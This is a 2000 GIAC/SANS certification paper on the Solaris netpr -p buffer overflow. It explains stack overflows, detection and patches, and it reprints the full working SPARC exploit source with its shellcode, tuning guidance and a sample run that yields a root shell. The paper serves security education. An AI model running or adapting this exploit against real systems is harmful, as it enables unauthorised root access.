Global Information Assurance Certification Paper

Netpr Exploit

Brent Hughes
June 2000

Exploit Details

Name: netpr –p buffer overflow exploit
Variants: none
Operating System: Solaris 2.6, Solaris 7, Solaris 8
Protocols/Services: network printing service
Description:

The netpr exploit is, at the time of this writing, the latest in a series of print service buffer overflows under Solaris. This exploit was announced on BugTraq on May 12, 2000, but the exploit code goes back to May 23, 1999. It uses a buffer overflow in the –p option for /usr/lib/lp/bin/netpr to gain root access from a local account.

Protocol Description

Netpr is a print output module that opens a connection to a network printer or print-service host using BSD print protocol or TCP pass-through, sends the protocol instructions, then sends the print data to the printer.

This exploit takes advantage of improper bounds checking within one of the netpr options, and is independent of the protocols used by netpr. Since netpr is a setuid program owned by root, the exploit results in root access.

Description of Variants

There are no direct variants of this exploit, but other buffer overflow problems have been found in the Solaris print services. These include an overflow in the –d option for lp, and for the –r option in lpset. Both are listed, with exploit code, at http://www.securityfocus.com under Sun vulnerabilities.

There is nothing in the print service exploits that set them apart from other buffer overflow exploits. The netpr exploit is a very good general case, and understanding of its details can be directly applied to a wide variety of other buffer overflow exploits. See Appendix B for a list of Solaris buffer overflow exploits released to the BugTraq mailing list over the last 18 months.

How the Exploit Works

When programs run, they set aside three sections of memory: for program instructions, program data, and the stack. The stack is a holding tank for variables and program parameters to be stored, and usually sits in the higher part of memory. Buffer overflows occur in the stack, so it deserves a more detailed explanation. The stack works as a Last In First Out (LIFO) queue. This means that if variables 1, 2, and 3 were put on the stack, they would have to come off 3 first, then 2, then 1. Most computers start the stack at the top of memory, and grow downward. A stack pointer is used to keep track of the bottom of the stack as data is added and taken off.

Programs use the stack for several types of data: storing variables within sub-programs, storing parameters to and from sub-programs, and keeping track of program return locations when jumping to new program areas. For example, a program calls a function with three parameters. The program pushes the parameters onto the stack in reverse order, then calls the function. At the beginning of the function, the stack contains parameter #3, parameter #2, parameter #1, and the return address of the calling program. As the function

runs, it will grow the stack, setting aside space for its local variables. At the beginning of the function, the stack could look like this:

Parameter #3
Parameter #2
Parameter #1
Return address
Local Variable #1
Local Variable #2
Local Variable #3
Local Variable #4

When the function finishes, it cleans up the stack and returns to the point in memory specified by Return Address to continue with the rest of the program.

In the above example, if Local Variable #2 was declared as being 100 characters long, and a 150 character value was assigned to it, it would overflow into Local Variable #1, and perhaps beyond into Return Address and the parameters. If the Return Address is overwritten, the function will not be able to return to the calling program. Instead, it will interpret the overflow data as a memory location and try to run whatever instructions happen to be there. If this is an accidental overflow, the program will crash.

The magic of a buffer overflow exploit is to find a program that doesn't check for proper data lengths before assigning data to variables. Once one is found, an overflow variable can be carefully crafted to deliberately overwrite the Return Address with the memory address for an exploit program. When the function tries to return to the main program, it gets the exploit program instead. The easiest place to locate this exploit code is within the variable being used for the overflow. In the above example, if Local Variable #2 was vulnerable to an overflow, an exploit would make the stack look like this:

Parameter #3
Parameter #2
Parameter #1
Pointer to Local Variable #2
Exploit Code
Exploit Code
Local Variable #3
Local Variable #4

The exploit program will run with the same permissions as the original program, so if it is a unix program running setuid root, the exploit program will run as root as well. The most common exploit code simply starts a shell, which is then used to run other commands with elevated privileges.

In theory, writing a buffer overflow is very simple. There are a couple of big stumbling blocks though.

First is the exploit code itself. It's not enough to fill the variable with shell or C commands. The exploit code has to be in raw assembly. Furthermore, since it is a character buffer being filled, a NULL character will mark the end of the string, so commands containing hex 00 (0x00) must be avoided. Since starting a shell is a common goal in most overflow exploits, pre-written exploit code for various types of unix and processors is fairly easy to find (see Additional Information section below). The netpr exploit is targeted at Solaris running on x86 or SPARC. This paper will focus on the SPARC version for examples and detailed explanations.

Another problem occurs when you don't have access to the source code of the program to be exploited. Predicting the exact arrangement of the stack from a binary program is nearly impossible. There are, however, ways around this. The two addresses you really want to know are the address of the buffer to be overflowed and the location of the return address. If the buffer is large enough to permit it, you can increase the odds of getting these numbers right by padding the exploit code. At the beginning, put a large

number of NOP (no operation) instructions. These are usually used to insert delays in programs, and cause the computer to simply advance to the next instruction. Inserting 100 NOP's at the beginning means the guess can hit anywhere within a 100-byte area of memory instead of having to guess an exact byte, raising the chances of success by 100 times! At the end of the exploit code, add a number of return addresses pointing back into the NOP instructions at the beginning. This increases the target needed to hit for the return address. It isn't uncommon to overflow buffers larger than 1024 bytes. Since exploit code is often less than 100 bytes, a considerable amount of padding can be used to drastically increase the chances of getting the addresses right.

A stack with exploit code in it could look like the following:

Parameter #3
Pointer back xx bytes
Pointer back xx bytes
Pointer back xx bytes (original Return Address location)
Pointer back xx bytes
Pointer back xx bytes
Exploit Code (< xx bytes long)
Exploit Code (< xx bytes long)
Exploit Code (< xx bytes long)
NOP
NOP
NOP
NOP
NOP
NOP
NOP
Local Variable #3
Local Variable #4

The /usr/lib/lp/bin/netpr exploit uses these general principles on its –p option program under Solaris, to overflow a variable buffer and launch a shell. The general principles discussed can be directly seen in the exploit code below (see Source Code).

How to use it?

Compile the code (gcc netprex.c –o netprex) and run it. The default is to connect to localhost using an offset of 1600 bytes and an alignment of 1. The offset is added to the stack pointer to guess the location of the -p variable's address on the stack. Comments in the code recommend trying 960 to 2240 (+ or – 640 from the default) in multiples of 8 if the default doesn't work. The alignment is used to align the first NOP in the buffer and can be 0, 1, 2, or 3. The alignment is used because the NOP instruction is substituted with a string-friendly 4-byte instruction that avoids NULL's in the string buffer (see Source Code comments below). If a 1-byte NOP instruction were possible, the alignment guess would not be necessary.

If the local host is not running print service on TCP port 515, a –h option can be used to specify a host that is. The host specified will not be compromised, and will only see a connection to an invalid printer (see Signature of the Attack below). It is very common for print service to be running on Solaris, and it is on in default Solaris installations.

After trying this on a different version of Solaris and different chipsets, no combinations appeared to work on a Sparc 20 (sun4m) running Solaris 2.6, but many offsets with an alignment of 3 worked for an Ultrasparc (sun4u) under both Solaris 2.6 and Solaris 7. A script can quickly test all combinations, and a working combination will result in a root shell that effectively stops the script until the shell is exited.

Here's an example, using the default offset and adjusting the alignment:

```
palm{hughes}698: ./netprex -a 0
%sp 0xffbef088 offset 1600 → return address 0xffbef6c8 [0]
Segmentation Fault
palm{hughes}698: ./netprex -a 1
%sp 0xffbef088 offset 1600 → return address 0xffbef6c8 [1]
Segmentation Fault
palm{hughes}698: ./netprex -a 2
%sp 0xffbef088 offset 1600 → return address 0xffbef6c8 [2]
Illegal Instruction
palm{hughes}699: ./netprex -a 3
%sp 0xffbef080 offset 1600 → return address 0xffbef6c0 [3]
#
```

Signature of the Attack

By default, this exploit uses localhost as the host to connect to, so it generates no direct network traffic. A **ps** command will show /bin/sh running as root, but appears no different than a normal root shell. This could be used to detect this attack if root does not normally run a shell on a particular system. Another option for detection is to use **ps** to look for root shells, and examine the process id that called it to confirm that a valid root-holder is launching the shell. For example, the following lines from the output of **/usr/bin/ps –ef** look somewhat suspicious. The parent process ID (PPID) of the root shell is a shell from the guest account, which is not usually someone with the root password!

```
    UID   GID  PPID  0    STIME TTY      TIME CMD
  guest  3390  3388  0 13:07:06 pts/14   0:00 -csh
   root  3384  3390  0 13:31:15 pts/14   0:00 /bin/sh
```

If localhost is not used, and a hostname is provided, the attack is detectable. Tcpdump output shows nothing unusual since the TCP headers are normal. However, running snoop on Solaris shows the following:

```
     palm -> ironwood     PRINTER C port=1021
 ironwood -> palm         PRINTER R port=1021
     palm -> ironwood     PRINTER C port=1021
     palm -> ironwood     PRINTER C port=1021
 ironwood -> palm         PRINTER R port=1021
 ironwood -> palm         PRINTER R port=1021 ironwood: /usr/lib/l
 ironwood -> palm         PRINTER R port=1021
     palm -> ironwood     PRINTER C port=1021
     palm -> ironwood     PRINTER C port=1021
```

Palm is running the exploit, and referencing ironwood as a host with print service running. Running snoop in verbose mode shows the message on the 6th packet to be "ironwood: /usr/lib/lpd: : Command line too long\n". This is a result of the long buffer overflow parameter as it is passed on to lpd. Since this requires a printer name 1024 characters or longer, this is a sign that something is very wrong. The exploit can be detected by watching for this error, but only if the exploit is using a remote host for the print service, so this is not a very good method of detecting this exploit.

How to protect against it?

Sun has released patches to contract customers only:

Solaris 8.0_x86: patch 109321-01
Solaris 8.0 patch 109320-01
Solaris 7.0_x86 patch 107116-04
Solaris 7.0 patch 107115-04

Solaris 2.6_x86 patch 106236-05
Solaris 2.6 patch 106235-05

Turning off the setuid bit on /usr/lib/lp/bin/netpr will prevent this exploit from working, but may disable some network printing capabilities.

Buffer overflows are a very stealthy way to compromise a system, and many of them are very difficult to detect. Solaris 2.6 contains more than 60 setuid root programs in a default install and Solaris 7 contains even more. A buffer overflow exploit in any one of them could result in an unauthorized account gaining root access.

Keeping up to date on patches is a good start to defending against buffer overflow exploits, but it does not offer complete protection from them. Watching for released exploits through lists such as BugTraq is one step better in keeping ahead, so long as fixes are immediately applied. As the netpr exploit illustrates, even BugTraq may not be current enough. The code for the netpr exploit was written almost a year before it was released!

A better solution would be to examine the setuid root programs on a system and determine whether any are not needed. These should have the setuid bits turned off, preventing exploits from using them to gain root access.

An indirect defense against buffer overflows is to ensure that systems are not easily compromised remotely. Many buffer overflow exploits require a local account first, so protecting local accounts from malicious access goes a long way toward protecting from system compromises like the netpr exploit which need local account access before being effective.

Source code

Source code for this exploit is available at www.securityfocus.com from the BugTraq archives and the vulnerabilities database. The following is the exploit code for the SPARC architecture.

```
/**
*** netprex - SPARC Solaris root exploit for /usr/lib/lp/bin/netpr
***
*** Tested and confirmed under Solaris 2.6 and 7 (SPARC)
***
*** Usage: % netprex -h hostname [-o offset] [-a alignment]
***
*** where hostname is the name of any reachable host running the printer
*** service on TCP port 515 (such as "localhost" perhaps), offset is the
*** number of bytes to add to the %sp stack pointer to calculate the
*** desired return address, and alignment is the number of bytes needed
*** to correctly align the first NOP inside the exploit buffer.
***
*** When the exploit is run, the host specified with the -h option will
*** receive a connection from the netpr program to a nonsense printer
*** name, but the host will be otherwise untouched. The offset parameter
*** and the alignment parameter have default values that will be used
*** if no overriding values are specified on the command line. In some
*** situations the default values will not work correctly and should
*** be overridden on the command line. The offset value should be a
*** multiple of 8 and should lie reasonably close to the default value;
*** try adjusting the value by -640 to 640 from the default value in
*** increments of 64 for starters. The alignment value should be set
*** to either 0, 1, 2, or 3. In order to function correctly, the final
*** return address should not contain any null bytes, so adjust the offset
*** appropriately to counteract nulls should any arise.
***
*** Cheez Whiz / ADM
```

```
*** cheezbeast@hotmail.com
***
*** May 23, 1999
**/

/* Copyright (c) 1999 ADM */
/* All Rights Reserved */

/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */

#define BUFLEN 1087
#define NOPLEN 932
#define ADDRLEN 80

#define OFFSET 1600 /* default offset */
#define ALIGNMENT 1 /* default alignment */

#define NOP 0x801bc00f /* xor %o7,%o7,%g0 */

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shell[] =
/* setuid: */
/* 0 */ "\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */
/* 4 */ "\x82\x10\x20\x17" /* mov 23,%g1 */
/* 8 */ "\x91\xd0\x20\x08" /* ta 8 */
/* alarm: */
/* 12 */ "\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */
/* 16 */ "\x82\x10\x20\x1b" /* mov 27,%g1 */
/* 20 */ "\x91\xd0\x20\x08" /* ta 8 */
/* execve: */
/* 24 */ "\x2d\x0b\xd8\x9a" /* sethi %hi(0x2f62696e),%l6 */
/* 28 */ "\xac\x15\xa1\x6e" /* or %l6,%lo(0x2f62696e),%l6 */
/* 32 */ "\x2f\x0b\xdc\xda" /* sethi %hi(0x2f736800),%l7 */
/* 36 */ "\x90\x0b\x80\x0e" /* and %sp,%sp,%o0 */
/* 40 */ "\x92\x03\xa0\x08" /* add %sp,8,%o1 */
/* 44 */ "\x94\x1b\xc0\x0f" /* xor %o7,%o7,%o2 */
/* 48 */ "\x9c\x03\xa0\x10" /* add %sp,16,%sp */
/* 52 */ "\xec\x3b\xbf\xf0" /* std %l6,[%sp-16] */
/* 56 */ "\xd0\x23\xbf\xf8" /* st %o0,[%sp-8] */
/* 60 */ "\xc0\x23\xbf\xfc" /* st %g0,[%sp-4] */
/* 64 */ "\x82\x10\x20\x3b" /* mov 59,%g1 */
/* 68 */ "\x91\xd0\x20\x08"; /* ta 8 */

extern char *optarg;

unsigned long int
get_sp()
{
    __asm__("or %sp,%sp,%i0");
}

int
main(int argc, char *argv[])
{
    unsigned long int sp, addr;
    int c, i, offset, alignment;
```

```
    char *program, *hostname, buf[BUFLEN+1], *cp;

    program = argv[0];
    hostname = "localhost";
    offset = OFFSET;
    alignment = ALIGNMENT;

    while ((c = getopt(argc, argv, "h:o:a:")) != EOF) {
        switch (c) {
        case 'h':
            hostname = optarg;
            break;
        case 'o':
            offset = (int) strtol(optarg, NULL, 0);
            break;
        case 'a':
            alignment = (int) strtol(optarg, NULL, 0);
            break;
        default:
            fprintf(stderr, "usage: %s -h hostname [-o offset] "
                    "[-a alignment]\n", program);
            exit(1);
            break;
        }
    }
    memset(buf, '\xff', BUFLEN);
    for (i = 0, cp = buf + alignment; i < NOPLEN / 4; i++) {
        *cp++ = (NOP >> 24) & 0xff;
        *cp++ = (NOP >> 16) & 0xff;
        *cp++ = (NOP >> 8) & 0xff;
        *cp++ = (NOP >> 0) & 0xff;
    }
    memcpy(cp, shell, strlen(shell));
    sp = get_sp(); addr = sp + offset; addr &= 0xfffffff8;
    for (i = 0, cp = buf + BUFLEN - ADDRLEN; i < ADDRLEN / 4; i++) {
        *cp++ = (addr >> 24) & 0xff;
        *cp++ = (addr >> 16) & 0xff;
        *cp++ = (addr >> 8) & 0xff;
        *cp++ = (addr >> 0) & 0xff;
    }
    buf[BUFLEN] = '\0';
    fprintf(stdout, "%%sp 0x%08lx offset %d --> return address 0x%08lx
[%d]\n",
            sp, offset, addr, alignment);
    execle("/usr/lib/lp/bin/netpr",
           "netpr",
           "-I", "ADM-ADM",
           "-U", "ADM!ADM",
           "-p", buf,
           "-d", hostname,
           "-P", "bsd",
           "/etc/passwd", NULL, NULL);
    fprintf(stderr, "unable to exec netpr: %s\n", strerror(errno));
    exit(1);
}
```

Following through the discussion in How the Exploit Works above, this code does the following:

The first few lines declare some defaults and reference the libraries needed for the program to run. These lines are followed by a declaration of a character array called **shell**. This is the assembly code for the exploit. For now it is sufficient to say that it launches /bin/sh. An detailed analysis is included in Appendix A, but is technically complex and understanding of it is not necessary for understanding the

exploit. The shell variable declaration is followed by the function get_sp. This is assembly code that simply gets the current stack pointer. This is used to find the bottom of the stack before the netpr program is called, to get a better initial guess at where the –p variable will be stored when netpr is run.

The main program parses the command line options and sets appropriate variables. The next section pads the beginning of the exploit code with a NOP instruction substitute that avoids NULL problems in the string. The instruction simply OR's an output register with itself (giving the same value back again) and puts in general register 0. General register 0 is a special register that always contains 0, so this operation basically does a calculation and throws the result away. The section following that pads the end of the exploit code with return address values, guessed at using the address from the get_sp routine. It then terminates the string with a NULL character (\0), prints the parameter information for diagnosis, and executes /usr/lib/lp/bin/netpr with the padded exploit code inserted as an option for –p.

Additional Information

A very detailed explanation of buffer overflow exploits, complete with code examples, assembly code explanation, and shellcode examples can be found in the Phrack archives, vol 7, issue 49 (http://phrack.infonexus.com) in an article called "Smashing the Stack for Fun and Profit" by buffer overflow expert Aleph One. The examples are based on Linux running on an x86 processor, but the concepts are applicable across other operating systems and CPU's.

Appendix A: Shellcode explanation

The shellcode is basically assembly code for the following C code:

```
#include <stdio.h>
void main() {
     char *name[2];
     name[0]='/bin/shell';
     name[1]=NULL;
     execve(name[0], name, NULL);
}
```

A set of shellcodes assembled for various platforms is available at the end of "Smashing the Stack for Fun and Profit". The shellcode in this exploit is almost identical to this "standard" shellcode, and is explained in detail below.

The purpose of the shellcode is to launch a shell. To do this, an execve statement must be run, with the command to be executed (/bin/sh in this case) on the stack, followed by a pointer to the /bin/sh stack location, followed by a NULL (or optionally arguments to /bin/sh). The output registers should contain the address of the command (in %o0), the address of the pointer to the command (in %o1), and a NULL (in %o2).

```
sethi %hi(0x2f62696e), %l6
or    %l6, %lo(0x2f62696e), %l6
```

This loads the string 0x2f62696e (/bin) into local register %l6. The string is too big to use a store (**st**) command, so a more roundabout method is used. **sethi %hi** is used to move the highest 22 bits. The remaining 10 bits are moved by **or**-ing the register contents with the least significant 10 bits of the string (using **%lo** to extract them). This is functionally the same as the "standard" shellcode lines below, taken from "Smashing the Stack for Fun and Profit", but is much easier to read since the command is directly visible (ie. /=2f, b=62, i=69, n=6e -> /bin):

```
sethi 0xbd89a, %16
or    %16, 0x16e, %16
```

```
sethi %hi(0x2f736800), %l7
```

This loads the string 0x2f736800 (/sh) into register %l7. Since the least significant 10 bits are all zero, the **or** step from the previous two steps isn't necessary. This if functionally the same as the "standard" shellcode line **sethi 0xbdcda, %17**, but is much easier to read:

```
and   %sp, %sp, %o0
```

A number **and**'d to itself equals itself. This stores the stack pointer into output register %o0. The **and** is used instead of **mov** to avoid a NULL.

```
add   %sp, 8, %o1
```

Store the stack pointer + 8 into register %o1.

```
xor   %o7, %o7, %o2
```

Any number **xor**'d to itself equals zero. This instruction stores zero (NULL) in register %o2. The **xor** is used to avoid a NULL, instead of a more straightforward **st 0x00, %o2** command. The "standard" shellcode **xor**'s %o2 with itself and stores it back in %o2, which is functionally the same thing as this instruction.

```
add   %sp, 16, %sp
```

Increment the stack pointer by 16 bytes.

```
std   %l6, [%sp-16]
st    %o0, [%sp-8]
st    %g0, [%sp-4]
```

At the old stack location store 0x2F62696e2F736800 (/bin/sh + NULL from registers %l6 and %l7), the old stack pointer stored in register %o0, and a NULL. The register %g0 is a global register that always contains a zero, and is used to avoid a NULL.

```
mov   59, %g1
ta    8
```

59 is the code for SYS_execve and is stored in %g1 as an instruction for the trap command (**ta 8**).

Appendix B: Solaris buffer overflow exploits

The following is a list of buffer overflow exploits for Solaris, as posted to the BugTraq mailing list in 1999 and the first half of 2000:

2000-05-29: Xlockmore 4.16 Buffer Overflow Vulnerability
2000-05-12: Solaris netpr Buffer Overflow Vulnerability
2000-04-24: Solaris lp -d Option Buffer Overflow Vulnerability
2000-04-24: Solaris lpset -r Buffer Overflow Vulnerability
2000-04-24: Solaris Xsun Buffer Overrun Vulnerability
2000-01-06: Solaris chkperm Buffer Overflow Vulnerability
1999-12-10: Solaris sadmind Buffer Overflow Vulnerability
1999-12-09: Solaris snoop (GETQUOTA) Buffer Overflow Vulnerability
1999-12-07: Solaris snoop (print_domain_name) Buffer Overflow Vulnerability
1999-11-30: Multiple Vendor CDE dtmail/mailtool Buffer Overflow Vulnerability
1999-09-13: Multiple Vendor CDE TT_SESSION Buffer Overflow Vulnerability

1999-09-13: Multiple Vendor CDE dtaction Userflag Buffer Overflow Vulnerability
1999-09-12: Solaris /usr/bin/mail -m Local Buffer Overflow Vulnerability
1999-07-13: Multiple Vendor rpc.cmsd Buffer Overflow Vulnerability
1999-06-09: Multiple Vendor Automountd Vulnerability
1999-05-22: Multiple Vendor LC_MESSAGES libc Buffer Overflow Vulnerability
1999-05-18: Solaris libX11 Vulnerabilities
1999-05-11: Solaris lpset Buffer Overflow Vulnerability
1999-05-10: Solaris dtprintinfo Buffer Overflow Vulnerability
1999-03-05: Solaris cancel Vulnerability

Last Updated: October 19th, 2017

Upcoming Training

Community SANS Columbus SEC504	Columbus, OH	Oct 23, 2017 - Oct 28, 2017	Community SANS
SANS Berlin 2017	Berlin, Germany	Oct 23, 2017 - Oct 28, 2017	Live Event
SANS Seattle 2017	Seattle, WA	Oct 30, 2017 - Nov 04, 2017	Live Event
SANS San Diego 2017	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	Live Event
SANS Gulf Region 2017	Dubai, United Arab Emirates	Nov 04, 2017 - Nov 16, 2017	Live Event
SANS Milan November 2017	Milan, Italy	Nov 06, 2017 - Nov 11, 2017	Live Event
Community SANS New York SEC504^	New York, NY	Nov 06, 2017 - Nov 11, 2017	Community SANS
Mentor Session AW - SEC504	Houston, TX	Nov 06, 2017 - Jan 29, 2018	Mentor
SANS Miami 2017	Miami, FL	Nov 06, 2017 - Nov 11, 2017	Live Event
Community SANS Raleigh SEC504	Raleigh, NC	Nov 06, 2017 - Nov 11, 2017	Community SANS
SANS Amsterdam 2017	Amsterdam, Netherlands	Nov 06, 2017 - Nov 11, 2017	Live Event
Pen Test Hackfest Summit & Training 2017	Bethesda, MD	Nov 13, 2017 - Nov 20, 2017	Live Event
Community SANS Toronto SEC504	Toronto, ON	Nov 13, 2017 - Nov 18, 2017	Community SANS
Mentor Session SEC504	Houston, TX	Nov 13, 2017 - Dec 11, 2017	Mentor
SANS Sydney 2017	Sydney, Australia	Nov 13, 2017 - Nov 25, 2017	Live Event
SANS San Francisco Winter 2017	San Francisco, CA	Nov 27, 2017 - Dec 02, 2017	Live Event
Community SANS Detroit SEC504~	Detroit, MI	Nov 27, 2017 - Dec 02, 2017	Community SANS
SANS London November 2017	London, United Kingdom	Nov 27, 2017 - Dec 02, 2017	Live Event
SANS Austin Winter 2017	Austin, TX	Dec 04, 2017 - Dec 09, 2017	Live Event
SANS Frankfurt 2017	Frankfurt, Germany	Dec 11, 2017 - Dec 16, 2017	Live Event
SANS Cyber Defense Initiative 2017	Washington, DC	Dec 12, 2017 - Dec 19, 2017	Live Event
SANS Cyber Defense Initiative 2017 - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling	Washington, DC	Dec 14, 2017 - Dec 19, 2017	vLive
SANS Security East 2018	New Orleans, LA	Jan 08, 2018 - Jan 13, 2018	Live Event
Community SANS Honolulu SEC504	Honolulu, HI	Jan 08, 2018 - Jan 13, 2018	Community SANS
Mentor Session - SEC504	San Antonio, TX	Jan 09, 2018 - Mar 13, 2018	Mentor
SANS Amsterdam January 2018	Amsterdam, Netherlands	Jan 15, 2018 - Jan 20, 2018	Live Event
Community SANS Ottawa SEC504	Ottawa, ON	Jan 15, 2018 - Jan 20, 2018	Community SANS
Community SANS St Louis SEC504	St Louis, MO	Jan 15, 2018 - Jan 20, 2018	Community SANS
Northern VA Winter - Reston 2018	Reston, VA	Jan 15, 2018 - Jan 20, 2018	Live Event
SANS vLive - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling	SEC504 - 201801,	Jan 16, 2018 - Feb 22, 2018	vLive
SANS Dubai 2018	Dubai, United Arab Emirates	Jan 27, 2018 - Feb 01, 2018	Live Event